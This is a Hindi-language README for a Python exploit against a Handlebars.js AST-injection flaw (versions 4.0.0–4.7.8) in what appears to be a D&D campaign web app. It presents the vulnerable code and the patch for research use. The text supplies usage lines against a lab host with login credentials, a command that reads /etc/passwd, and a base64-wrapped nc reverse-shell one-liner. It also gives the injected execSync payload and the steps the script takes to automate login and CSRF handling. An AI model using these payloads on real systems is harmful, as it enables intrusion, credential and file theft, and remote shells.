
Python POC, Handlebars.js AST Injection RCE के लिए Exploit, Handlebars.js संस्करण 4.0.0 से 4.7.8 प्रभावित हैं। CVSS स्कोर: 9.8 Critical.
Handlebars.js के संस्करण 4.0.0 से 4.7.8 प्रभावित हैं। CVSS स्कोर: 9.8 क्रिटिकल।
CVE-2026-33937 Handlebars.js में एक type confusion भेद्यता है। Handlebars.compile() फ़ंक्शन इनपुट के रूप में एक टेम्पलेट स्ट्रिंग और एक पूर्व-पार्स किया गया AST ऑब्जेक्ट, दोनों स्वीकार करता है। जब कोई हमलावर एक क्राफ्टेड AST ऑब्जेक्ट पास करता है, तो कंपाइलर का NumberLiteral विज़िटर नोड के value फ़ील्ड को बिना किसी सैनिटाइज़ेशन के उत्पन्न JavaScript फ़ंक्शन बॉडी में शब्दशः डाल देता है। परिणाम पर render() को कॉल करने से Node.js प्रोसेस के अंदर हमलावर-नियंत्रित कोड निष्पादित होता है।
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
तर्क
--url — लक्ष्य का बेस URL, जैसे http://hello.veer/ (आवश्यक)--username — लॉगिन ईमेल पता (आवश्यक)--password — लॉगिन पासवर्ड (आवश्यक)--command — निष्पादित करने के लिए OS कमांड, डिफ़ॉल्ट id है (वैकल्पिक)उदाहरण
# RCE सत्यापित करें
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# कोई फ़ाइल पढ़ें
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# रिवर्स शेल पाने के लिए
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
स्क्रिप्ट शोषण करने से पहले पूर्ण लॉगिन करती है। यह पहले /login पर एक GET अनुरोध भेजती है ताकि फ़ॉर्म से छिपा हुआ _csrf टोकन निकाला जा सके, फिर उस टोकन को दिए गए ईमेल और पासवर्ड के साथ /login पर फ़ॉर्म-एन्कोडेड POST के रूप में सबमिट करती है। सफलता पर सर्वर /dashboard पर 302 रीडायरेक्ट लौटाता है और dz.sid सत्र कुकी सेट करता है, जिसका उपयोग बाद के सभी अनुरोधों में किया जाता है।
प्रत्येक POST अनुरोध से पहले स्वचालित रूप से एक नया CSRF टोकन प्राप्त किया जाता है, क्योंकि ऐप का CSRF मिडलवेयर हर mutating संचालन पर एक की आवश्यकता रखता है।
एप्लिकेशन POST /character उजागर करता है जो Content-Type: application/json स्वीकार करता है। यह रूट एक नया D&D चरित्र बनाता है और, जब campaign_id प्रदान किया जाता है, तो campaign_message फ़ील्ड को सीधे सर्वर पर Handlebars.compile() में पास करता है:
// सर्वर-साइड Node.js (कमज़ोर)
const render = Handlebars.compile(campaign_message); // कोई type check नहीं
const output = render({ name, race, class }); // पेलोड यहाँ निष्पादित होता है
// output को campaign लॉग प्रविष्टि के रूप में संग्रहीत किया जाता है
जब अनुरोध बॉडी JSON होती है, तो campaign_message स्ट्रिंग के बजाय एक नेस्टेड ऑब्जेक्ट (AST) हो सकता है, जो किसी भी फ़ॉर्म-स्तरीय स्ट्रिंग सत्यापन को बायपास करता है। campaign_id फ़ील्ड सर्वर को रेंडर किए गए परिणाम को campaign लॉग संदेश के रूप में संग्रहीत करने का कारण बनता है, जिसे बाद में GET /campaign/1 पर पढ़ा जा सकता है — जिससे हमलावर को out-of-band कमांड आउटपुट मिलता है।
एक्सप्लॉइट NumberLiteral को lookup हेल्पर के साथ संयोजित करता है।
{{lookup this 1}} की सामान्य संकलन प्रक्रिया उत्पन्न करती है:
env.helpers.lookup(this, 1, {options})
इंजेक्ट किया गया NumberLiteral.value 1 को निम्न से प्रतिस्थापित करता है:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
उत्सर्जित JavaScript इस प्रकार बन जाता है:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <शेष अभिव्यक्ति को कमेंट कर दिया गया है>
जब render() को कॉल किया जाता है, तो execSync() चलता है और उसका stdout अभिव्यक्ति मान के रूप में लौटाया जाता है, जिसे campaign संदेश के रूप में संग्रहीत किया जाता है।
कमांड आंतरिक रूप से /bin/sh -c 'cmd 2>&1' के रूप में लपेटे जाते हैं, ताकि रिक्त स्थान, पाइप और रीडायरेक्ट वाले कमांड सही ढंग से काम करें और stderr को stdout के साथ कैप्चर किया जा सके।
स्क्रिप्ट पेलोड भेजने से पहले campaign संदेशों की संख्या दर्ज करती है। POST के बाद यह /campaign/1 को फिर से प्राप्त करती है और नई जोड़ी गई प्रविष्टि को अलग करने के लिए messages[before_count:] को स्लाइस करती है। यह दृष्टिकोण उन मामलों को सही ढंग से संभालता है जहाँ वही कमांड पहले भी चलाया जा चुका है, क्योंकि सेट-आधारित तुलना समान आउटपुट को डीडुप्लिकेट कर देगी और नया परिणाम छूट जाएगा।
Handlebars.js javascript-compiler.js के अंदर, कमज़ोर कोड यह है:
// संस्करण 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value को बिना type check के शब्दशः डाला गया
}
संस्करण 4.7.9 compile() प्रवेश बिंदु पर एक type check जोड़ता है जो कोड जनरेटर तक पहुँचने से पहले किसी भी गैर-स्ट्रिंग इनपुट को अस्वीकार कर देता है:
// 4.7.9 में पैच किया गया
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
यह रिपॉजिटरी केवल सुरक्षा अनुसंधान और शिक्षा के लिए है। इस एक्सप्लॉइट का उपयोग केवल उन प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।